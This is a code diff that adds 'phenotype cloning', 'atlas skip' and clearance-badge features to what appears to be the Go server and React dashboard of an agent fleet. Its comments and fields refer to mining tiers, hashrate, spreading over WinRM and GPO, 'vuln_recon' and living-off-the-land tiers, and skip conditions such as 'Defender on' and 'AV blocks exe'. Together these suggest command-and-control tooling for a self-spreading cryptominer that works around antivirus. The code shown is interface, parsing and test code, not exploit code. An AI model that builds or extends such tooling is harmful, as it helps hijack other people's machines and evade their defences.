|
SourceAgentName: p.SourceAgentName,
|
||||||
|
Fingerprint: p.Fingerprint,
|
||||||
|
OS: p.OS,
|
||||||
|
SpreadLane: p.SpreadLane,
|
||||||
|
ActiveTier: p.ActiveTier,
|
||||||
|
TierOrder: append([]string(nil), p.TierOrder...),
|
||||||
|
PeakHashrate: p.PeakHashrate,
|
||||||
|
CreatedAt: p.CreatedAt,
|
||||||
|
}
|
||||||
|
}
|
||||||
17
server/internal/strategy/phenotype_test.go
Normal file
17
server/internal/strategy/phenotype_test.go
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestBuildWinningTierOrderFromAttempts(t *testing.T) {
|
||||||
|
order := BuildWinningTierOrder([]TierAttempt{
|
||||||
|
{Tier: "vuln_recon", OK: true},
|
||||||
|
{Tier: "docker", OK: false},
|
||||||
|
{Tier: "wsl", OK: true},
|
||||||
|
}, "cpu_inprocess", nil)
|
||||||
|
if len(order) != 3 {
|
||||||
|
t.Fatalf("order = %v", order)
|
||||||
|
}
|
||||||
|
if order[0] != "vuln_recon" || order[1] != "wsl" || order[2] != "cpu_inprocess" {
|
||||||
|
t.Fatalf("unexpected order: %v", order)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -69,6 +69,12 @@
|
|||||||
font-style: italic;
|
font-style: italic;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.access-depth-phenotype {
|
||||||
|
margin-top: 0.45rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
.access-depth-join {
|
.access-depth-join {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
@@ -192,6 +198,21 @@
|
|||||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.access-depth-atlas-list {
|
||||||
|
margin: 0;
|
||||||
|
padding-left: 1.1rem;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.access-depth-atlas-row {
|
||||||
|
margin: 0.2rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.access-depth-onion-item--skipped_by_atlas .access-depth-onion-label {
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
.access-depth-source {
|
.access-depth-source {
|
||||||
margin-left: 0.35rem;
|
margin-left: 0.35rem;
|
||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
@@ -220,3 +241,35 @@
|
|||||||
.access-depth-calibrate-link:hover {
|
.access-depth-calibrate-link:hover {
|
||||||
text-decoration: underline;
|
text-decoration: underline;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.access-depth-clearance-badge {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.68rem;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
border: 1px solid rgba(0, 245, 255, 0.45);
|
||||||
|
border-radius: 3px;
|
||||||
|
padding: 1px 6px;
|
||||||
|
cursor: help;
|
||||||
|
}
|
||||||
|
|
||||||
|
.access-depth-clearance-flash {
|
||||||
|
font-size: 0.68rem;
|
||||||
|
color: var(--neon-amber, #ffb347);
|
||||||
|
background: rgba(255, 180, 60, 0.12);
|
||||||
|
border: 1px solid rgba(255, 180, 60, 0.45);
|
||||||
|
border-radius: 3px;
|
||||||
|
padding: 2px 8px;
|
||||||
|
animation: access-depth-clearance-flash 1.2s ease-in-out 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes access-depth-clearance-flash {
|
||||||
|
0%,
|
||||||
|
100% {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
50% {
|
||||||
|
opacity: 0.45;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -12,6 +12,10 @@ import {
|
|||||||
parseAccessDepthServerPolicy,
|
parseAccessDepthServerPolicy,
|
||||||
} from '../../help/accessDepth';
|
} from '../../help/accessDepth';
|
||||||
|
|
||||||
|
vi.mock('../../hooks/useWebSocket', () => ({
|
||||||
|
useWebSocket: () => ({ latestMessage: null }),
|
||||||
|
}));
|
||||||
|
|
||||||
vi.mock('../../api/client', () => ({
|
vi.mock('../../api/client', () => ({
|
||||||
api: {
|
api: {
|
||||||
getConfig: vi.fn().mockResolvedValue({
|
getConfig: vi.fn().mockResolvedValue({
|
||||||
@@ -155,6 +159,22 @@ describe('AccessDepthPanel', () => {
|
|||||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows phenotype source when inherited phenotype present', async () => {
|
||||||
|
renderPanel(
|
||||||
|
mockAgent({
|
||||||
|
platform: 'windows',
|
||||||
|
inherited_phenotype: {
|
||||||
|
source_agent_name: 'worker-07',
|
||||||
|
spread_lane: 'winrm',
|
||||||
|
tier_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(await screen.findByText(/phenotype cloned from/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('worker-07')).toBeInTheDocument();
|
||||||
|
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('renders adaptive strategy reasoning fixtures', () => {
|
it('renders adaptive strategy reasoning fixtures', () => {
|
||||||
renderPanel(
|
renderPanel(
|
||||||
mockAgent({ platform: 'windows', status: 'online' }),
|
mockAgent({ platform: 'windows', status: 'online' }),
|
||||||
@@ -180,6 +200,13 @@ describe('AccessDepthPanel', () => {
|
|||||||
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('renders clearance badge L0–L4 with tooltip permissions', () => {
|
||||||
|
renderPanel(mockAgent({ clearance_level: 2 }));
|
||||||
|
const badge = screen.getByLabelText(/Clearance L2/i);
|
||||||
|
expect(badge).toHaveTextContent('L2');
|
||||||
|
expect(badge.getAttribute('title')).toMatch(/spread/i);
|
||||||
|
});
|
||||||
|
|
||||||
it('shows pending chain when tiers not yet attempted', () => {
|
it('shows pending chain when tiers not yet attempted', () => {
|
||||||
renderPanel(
|
renderPanel(
|
||||||
mockAgent({
|
mockAgent({
|
||||||
|
|||||||
@@ -1,11 +1,18 @@
|
|||||||
import { useEffect, useMemo, useState } from 'react';
|
import { useEffect, useMemo, useRef, useState } from 'react';
|
||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import {
|
import {
|
||||||
|
atlasSkipDisplayLabel,
|
||||||
buildAccessDepthModel,
|
buildAccessDepthModel,
|
||||||
parseAccessDepthServerPolicy,
|
parseAccessDepthServerPolicy,
|
||||||
type AccessDepthDiagnostics,
|
type AccessDepthDiagnostics,
|
||||||
} from '../../help/accessDepth';
|
} from '../../help/accessDepth';
|
||||||
|
import {
|
||||||
|
clearanceLabel,
|
||||||
|
clearancePermissions,
|
||||||
|
formatClearanceElevation,
|
||||||
|
} from '../../help/clearance';
|
||||||
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import { HelpTip } from '../HelpTip';
|
import { HelpTip } from '../HelpTip';
|
||||||
import JoinLaneBadge from './JoinLaneBadge';
|
import JoinLaneBadge from './JoinLaneBadge';
|
||||||
@@ -31,6 +38,9 @@ function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthMo
|
|||||||
<span className="access-depth-onion-label">{row.label}</span>
|
<span className="access-depth-onion-label">{row.label}</span>
|
||||||
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
|
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
|
||||||
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
|
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
|
||||||
|
{row.status === 'skipped_by_atlas' && (
|
||||||
|
<span className="access-depth-tag access-depth-tag--skip">atlas skip</span>
|
||||||
|
)}
|
||||||
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
|
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
|
||||||
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
|
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
|
||||||
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
|
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
|
||||||
@@ -63,8 +73,38 @@ function AttemptMiniList({
|
|||||||
}
|
}
|
||||||
|
|
||||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||||
|
const { latestMessage } = useWebSocket();
|
||||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||||
|
const [elevationFlash, setElevationFlash] = useState<string | null>(null);
|
||||||
|
const flashTimerRef = useRef<number | null>(null);
|
||||||
|
|
||||||
|
const clearanceLevel = agent.clearance_level ?? 1;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!latestMessage || latestMessage.type !== 'clearance_elevated') return;
|
||||||
|
const p = latestMessage.payload as {
|
||||||
|
agent_id?: string;
|
||||||
|
to_level?: number;
|
||||||
|
source?: string;
|
||||||
|
reason?: string;
|
||||||
|
};
|
||||||
|
if (p.agent_id !== agent.id || typeof p.to_level !== 'number') return;
|
||||||
|
const text = formatClearanceElevation({
|
||||||
|
to_level: p.to_level,
|
||||||
|
source: p.source,
|
||||||
|
reason: p.reason,
|
||||||
|
});
|
||||||
|
setElevationFlash(text);
|
||||||
|
if (flashTimerRef.current != null) window.clearTimeout(flashTimerRef.current);
|
||||||
|
flashTimerRef.current = window.setTimeout(() => setElevationFlash(null), 6000);
|
||||||
|
}, [latestMessage, agent.id]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
return () => {
|
||||||
|
if (flashTimerRef.current != null) window.clearTimeout(flashTimerRef.current);
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
let cancelled = false;
|
let cancelled = false;
|
||||||
@@ -95,6 +135,18 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
|||||||
<span className="lotl-attempts-title">
|
<span className="lotl-attempts-title">
|
||||||
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
|
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
|
||||||
</span>
|
</span>
|
||||||
|
<span
|
||||||
|
className="access-depth-clearance-badge"
|
||||||
|
title={clearancePermissions(clearanceLevel)}
|
||||||
|
aria-label={`Clearance ${clearanceLabel(clearanceLevel)}: ${clearancePermissions(clearanceLevel)}`}
|
||||||
|
>
|
||||||
|
{clearanceLabel(clearanceLevel)}
|
||||||
|
</span>
|
||||||
|
{elevationFlash && (
|
||||||
|
<span className="access-depth-clearance-flash" role="status">
|
||||||
|
{elevationFlash}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
{!policyLoaded && <span className="access-depth-muted">loading policy…</span>}
|
{!policyLoaded && <span className="access-depth-muted">loading policy…</span>}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -137,6 +189,17 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
|||||||
) : (
|
) : (
|
||||||
<div className="access-depth-muted">No join lane yet</div>
|
<div className="access-depth-muted">No join lane yet</div>
|
||||||
)}
|
)}
|
||||||
|
{model.phenotypeSource && (
|
||||||
|
<div className="access-depth-phenotype">
|
||||||
|
phenotype cloned from <strong>{model.phenotypeSource}</strong>
|
||||||
|
{model.phenotypeSpreadLane ? (
|
||||||
|
<>
|
||||||
|
{' '}
|
||||||
|
· spread <JoinLaneBadge lane={model.phenotypeSpreadLane} />
|
||||||
|
</>
|
||||||
|
) : null}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="access-depth-section">
|
<div className="access-depth-section">
|
||||||
@@ -161,6 +224,19 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{model.atlasSkips.length > 0 && (
|
||||||
|
<div className="access-depth-section access-depth-atlas-block">
|
||||||
|
<div className="access-depth-section-title">Atlas skips</div>
|
||||||
|
<ul className="access-depth-atlas-list">
|
||||||
|
{model.atlasSkips.map((skip) => (
|
||||||
|
<li key={`${skip.tier}-${skip.condition}`} className="access-depth-atlas-row">
|
||||||
|
{atlasSkipDisplayLabel(skip)}
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
{model.strategyReasoning.length > 0 && (
|
{model.strategyReasoning.length > 0 && (
|
||||||
<div className="access-depth-section access-depth-strategy-block">
|
<div className="access-depth-section access-depth-strategy-block">
|
||||||
<div className="access-depth-section-title">
|
<div className="access-depth-section-title">
|
||||||
|
|||||||
@@ -40,6 +40,20 @@ describe('LotlTierTimeline', () => {
|
|||||||
expect(screen.getByText('GPO')).toBeInTheDocument();
|
expect(screen.getByText('GPO')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows cloned-from badge when inherited phenotype present', () => {
|
||||||
|
const order = resolveLotlTierOrder();
|
||||||
|
const agent = mockAgent({
|
||||||
|
inherited_phenotype: {
|
||||||
|
source_agent_name: 'worker-07',
|
||||||
|
tier_order: ['container', 'wsl'],
|
||||||
|
spread_lane: 'winrm',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
const model = buildLotlTimelineModel(agent, order, []);
|
||||||
|
render(<LotlTierTimeline model={model} agentName="Node B" clonedFrom="worker-07" />);
|
||||||
|
expect(screen.getByText('Cloned from worker-07')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('expands attempt detail on tier click', () => {
|
it('expands attempt detail on tier click', () => {
|
||||||
const order = resolveLotlTierOrder();
|
const order = resolveLotlTierOrder();
|
||||||
const agent = mockAgent({
|
const agent = mockAgent({
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import '../Fleet/LotlVisuals.css';
|
|||||||
interface Props {
|
interface Props {
|
||||||
model: LotlTimelineModel;
|
model: LotlTimelineModel;
|
||||||
agentName: string;
|
agentName: string;
|
||||||
|
clonedFrom?: string;
|
||||||
className?: string;
|
className?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -17,6 +18,7 @@ function stateGlyph(state: LotlTimelineTierRow['state']): string {
|
|||||||
case 'failed':
|
case 'failed':
|
||||||
return '✗';
|
return '✗';
|
||||||
case 'skipped':
|
case 'skipped':
|
||||||
|
case 'skipped_by_atlas':
|
||||||
return '—';
|
return '—';
|
||||||
case 'trying':
|
case 'trying':
|
||||||
return '◉';
|
return '◉';
|
||||||
@@ -49,14 +51,18 @@ function TierDetail({ row }: { row: LotlTimelineTierRow }) {
|
|||||||
</>
|
</>
|
||||||
) : (
|
) : (
|
||||||
<div className="lotl-tier-detail-row">
|
<div className="lotl-tier-detail-row">
|
||||||
{row.state === 'skipped' ? 'Tier skipped by policy' : 'No attempt recorded yet'}
|
{row.state === 'skipped_by_atlas'
|
||||||
|
? 'Tier skipped by failure atlas'
|
||||||
|
: row.state === 'skipped'
|
||||||
|
? 'Tier skipped by policy'
|
||||||
|
: 'No attempt recorded yet'}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function LotlTierTimeline({ model, agentName, className = '' }: Props) {
|
export default function LotlTierTimeline({ model, agentName, clonedFrom, className = '' }: Props) {
|
||||||
const [expandedTier, setExpandedTier] = useState<string | null>(null);
|
const [expandedTier, setExpandedTier] = useState<string | null>(null);
|
||||||
|
|
||||||
const expandedRow = useMemo(
|
const expandedRow = useMemo(
|
||||||
@@ -73,7 +79,14 @@ export default function LotlTierTimeline({ model, agentName, className = '' }: P
|
|||||||
<div className="lotl-tier-timeline-header">
|
<div className="lotl-tier-timeline-header">
|
||||||
<div>
|
<div>
|
||||||
<div className="lotl-tier-timeline-title">ONION TIER CHAIN</div>
|
<div className="lotl-tier-timeline-title">ONION TIER CHAIN</div>
|
||||||
<div className="lotl-tier-timeline-agent">{agentName}</div>
|
<div className="lotl-tier-timeline-agent">
|
||||||
|
{agentName}
|
||||||
|
{clonedFrom && (
|
||||||
|
<span className="lotl-phenotype-badge" title={`Cloned tier order from ${clonedFrom}`}>
|
||||||
|
Cloned from {clonedFrom}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="lotl-tier-timeline-progress">
|
<div className="lotl-tier-timeline-progress">
|
||||||
{model.succeeded}/{model.total} tiers succeeded
|
{model.succeeded}/{model.total} tiers succeeded
|
||||||
|
|||||||
@@ -116,6 +116,19 @@
|
|||||||
color: var(--text-muted);
|
color: var(--text-muted);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.lotl-phenotype-badge {
|
||||||
|
display: inline-block;
|
||||||
|
margin-left: 0.5rem;
|
||||||
|
padding: 0.1rem 0.45rem;
|
||||||
|
border-radius: 3px;
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: #9dffb8;
|
||||||
|
background: rgba(40, 120, 80, 0.25);
|
||||||
|
border: 1px solid rgba(80, 200, 130, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
.lotl-tier-timeline-progress {
|
.lotl-tier-timeline-progress {
|
||||||
font-family: var(--font-tech);
|
font-family: var(--font-tech);
|
||||||
font-size: 0.75rem;
|
font-size: 0.75rem;
|
||||||
@@ -185,12 +198,17 @@
|
|||||||
border-color: rgba(255, 255, 255, 0.1);
|
border-color: rgba(255, 255, 255, 0.1);
|
||||||
}
|
}
|
||||||
|
|
||||||
.lotl-tier-step--skipped .lotl-tier-node {
|
.lotl-tier-step--skipped .lotl-tier-node,
|
||||||
|
.lotl-tier-step--skipped_by_atlas .lotl-tier-node {
|
||||||
color: rgba(180, 180, 190, 0.5);
|
color: rgba(180, 180, 190, 0.5);
|
||||||
border-color: rgba(255, 255, 255, 0.06);
|
border-color: rgba(255, 255, 255, 0.06);
|
||||||
opacity: 0.55;
|
opacity: 0.55;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--skipped_by_atlas .lotl-tier-node {
|
||||||
|
border-color: rgba(255, 140, 80, 0.25);
|
||||||
|
}
|
||||||
|
|
||||||
.lotl-tier-step--success .lotl-tier-node {
|
.lotl-tier-step--success .lotl-tier-node {
|
||||||
color: #7dffaa;
|
color: #7dffaa;
|
||||||
border-color: rgba(100, 220, 140, 0.45);
|
border-color: rgba(100, 220, 140, 0.45);
|
||||||
@@ -302,6 +320,43 @@
|
|||||||
margin-bottom: 0.25rem;
|
margin-bottom: 0.25rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.lotl-ai-decision--court {
|
||||||
|
border-color: rgba(255, 170, 100, 0.35);
|
||||||
|
background: rgba(40, 24, 8, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-court-role {
|
||||||
|
margin-top: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-court-role-label {
|
||||||
|
display: block;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.58rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
color: #ffaa66;
|
||||||
|
margin-bottom: 0.15rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-court-role-text {
|
||||||
|
color: var(--text-muted);
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-word;
|
||||||
|
line-height: 1.35;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-ai-decision-commands {
|
||||||
|
margin-top: 0.25rem;
|
||||||
|
font-size: 0.68rem;
|
||||||
|
color: #7dffaa;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-ai-decision-ts {
|
||||||
|
margin-top: 0.25rem;
|
||||||
|
font-size: 0.65rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
.lotl-timeline-links {
|
.lotl-timeline-links {
|
||||||
margin-top: 0.85rem;
|
margin-top: 0.85rem;
|
||||||
font-size: 0.72rem;
|
font-size: 0.72rem;
|
||||||
@@ -324,6 +379,43 @@
|
|||||||
font-size: 0.85rem;
|
font-size: 0.85rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.lotl-clearance-timeline {
|
||||||
|
margin-top: 0.85rem;
|
||||||
|
padding: 0.65rem 0.75rem;
|
||||||
|
border-radius: var(--deck-card-radius, 6px);
|
||||||
|
border: 1px solid rgba(255, 180, 60, 0.25);
|
||||||
|
background: rgba(8, 6, 4, 0.45);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-clearance-event-list {
|
||||||
|
list-style: none;
|
||||||
|
margin: 0.35rem 0 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-clearance-event-row {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 0.35rem 0.75rem;
|
||||||
|
font-size: 0.68rem;
|
||||||
|
padding: 0.2rem 0;
|
||||||
|
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-clearance-event-row:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-clearance-event-summary {
|
||||||
|
color: var(--neon-amber, #ffb347);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-clearance-event-ts {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
}
|
||||||
|
|
||||||
@media (max-width: 720px) {
|
@media (max-width: 720px) {
|
||||||
.lotl-tier-track {
|
.lotl-tier-track {
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
|
|||||||
@@ -27,10 +27,17 @@ export interface AdaptiveStrategyView {
|
|||||||
updated_at?: string;
|
updated_at?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export interface AtlasSkipView {
|
||||||
|
tier: string;
|
||||||
|
condition: string;
|
||||||
|
reason: string;
|
||||||
|
}
|
||||||
|
|
||||||
export interface AccessDepthDiagnostics {
|
export interface AccessDepthDiagnostics {
|
||||||
environment_probes?: EnvironmentProbes;
|
environment_probes?: EnvironmentProbes;
|
||||||
tier_chain_order?: string[];
|
tier_chain_order?: string[];
|
||||||
tier_chain_skipped?: string[];
|
tier_chain_skipped?: string[];
|
||||||
|
atlas_skips?: AtlasSkipView[];
|
||||||
lotl_tier?: string;
|
lotl_tier?: string;
|
||||||
lotl_attempts?: TierAttempt[];
|
lotl_attempts?: TierAttempt[];
|
||||||
active_method?: string;
|
active_method?: string;
|
||||||
@@ -67,7 +74,8 @@ export interface OnionTierRow {
|
|||||||
index: number;
|
index: number;
|
||||||
tier: string;
|
tier: string;
|
||||||
label: string;
|
label: string;
|
||||||
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
|
status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral';
|
||||||
|
atlasCondition?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface AccessDepthModel {
|
export interface AccessDepthModel {
|
||||||
@@ -92,6 +100,9 @@ export interface AccessDepthModel {
|
|||||||
adaptiveActive: boolean;
|
adaptiveActive: boolean;
|
||||||
strategyReasoning: StrategyReason[];
|
strategyReasoning: StrategyReason[];
|
||||||
adaptiveConfidence?: number;
|
adaptiveConfidence?: number;
|
||||||
|
atlasSkips: AtlasSkipView[];
|
||||||
|
phenotypeSource?: string;
|
||||||
|
phenotypeSpreadLane?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||||
@@ -143,11 +154,13 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
|||||||
|
|
||||||
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
||||||
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
||||||
|
const atlas_skips = parseAtlasSkips(raw.atlas_skips);
|
||||||
|
|
||||||
return {
|
return {
|
||||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||||
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
||||||
|
atlas_skips,
|
||||||
lotl_tier,
|
lotl_tier,
|
||||||
lotl_attempts: attempts.length ? attempts : undefined,
|
lotl_attempts: attempts.length ? attempts : undefined,
|
||||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||||
@@ -216,6 +229,43 @@ function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeC
|
|||||||
return chips.filter((c) => c.ok || probes != null);
|
return chips.filter((c) => c.ok || probes != null);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined {
|
||||||
|
if (!Array.isArray(raw)) return undefined;
|
||||||
|
const out: AtlasSkipView[] = [];
|
||||||
|
for (const row of raw) {
|
||||||
|
if (!row || typeof row !== 'object') continue;
|
||||||
|
const r = row as Record<string, unknown>;
|
||||||
|
if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue;
|
||||||
|
out.push({
|
||||||
|
tier: r.tier,
|
||||||
|
condition: r.condition,
|
||||||
|
reason: typeof r.reason === 'string' ? r.reason : '',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return out.length ? out : undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function atlasConditionLabel(condition: string): string {
|
||||||
|
switch (condition) {
|
||||||
|
case 'defender_on':
|
||||||
|
return 'Defender on';
|
||||||
|
case 'no_docker':
|
||||||
|
return 'no Docker';
|
||||||
|
case 'av_blocks_exe':
|
||||||
|
return 'AV blocks exe';
|
||||||
|
case 'goos=windows':
|
||||||
|
return 'Windows';
|
||||||
|
case 'goos=linux':
|
||||||
|
return 'Linux';
|
||||||
|
default:
|
||||||
|
return condition.replace(/_/g, ' ');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function atlasSkipDisplayLabel(skip: AtlasSkipView): string {
|
||||||
|
return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`;
|
||||||
|
}
|
||||||
|
|
||||||
function spreadCapabilities(agent: Agent): string[] {
|
function spreadCapabilities(agent: Agent): string[] {
|
||||||
const caps = agent.capabilities;
|
const caps = agent.capabilities;
|
||||||
const out: string[] = [];
|
const out: string[] = [];
|
||||||
@@ -303,8 +353,13 @@ function buildOnionRows(
|
|||||||
skipped: string[],
|
skipped: string[],
|
||||||
attempts: TierAttempt[],
|
attempts: TierAttempt[],
|
||||||
activeTier?: string,
|
activeTier?: string,
|
||||||
|
atlasSkips: AtlasSkipView[] = [],
|
||||||
): OnionTierRow[] {
|
): OnionTierRow[] {
|
||||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||||
|
const atlasByTier = new Map<string, AtlasSkipView>();
|
||||||
|
for (const skip of atlasSkips) {
|
||||||
|
atlasByTier.set(skip.tier.toLowerCase(), skip);
|
||||||
|
}
|
||||||
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
||||||
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
||||||
const active = activeTier?.toLowerCase();
|
const active = activeTier?.toLowerCase();
|
||||||
@@ -313,12 +368,15 @@ function buildOnionRows(
|
|||||||
const fullOrder = [
|
const fullOrder = [
|
||||||
...order,
|
...order,
|
||||||
...skipped.filter((s) => !orderLower.has(s.toLowerCase())),
|
...skipped.filter((s) => !orderLower.has(s.toLowerCase())),
|
||||||
|
